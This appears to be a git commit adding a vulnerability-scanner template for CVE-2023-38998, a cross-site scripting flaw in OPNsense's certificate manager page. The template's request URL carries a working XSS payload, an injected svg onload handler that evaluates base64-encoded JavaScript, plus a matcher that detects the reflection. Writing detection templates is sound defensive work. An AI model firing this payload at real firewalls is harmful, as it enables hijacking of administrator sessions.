opnsense - xss

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-38998
2023-09-11 10:58:49 +05:30 · 2023-09-11 10:58:49 +05:30 · c6cd8bc728
parent 76617c31e3
commit c6cd8bc728
1 changed files with 16 additions and 0 deletions
--- a/16
+++ b/16
@ -0,0 +1,16 @@
+id: cross-site-scripting-opnsense
+info:
+  name: Cross Site Scripting in OPNsense
+  author: pdteam
+  severity: high
+  Reference: https://logicaltrust.net/blog/2023/08/opnsense.html
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/system_certmanager.php?act=%22%3E%3Csvg/onload=eval(atob(%27bGV0IHJlcXVlc3REYXRh[...]HsKCQl9KQoJfSkKfSwgMTAwMCk=%27))%3E&id=0"
+    matchers:
+      - type: word
+        words:
+          - "<svg/onload="
+        part: body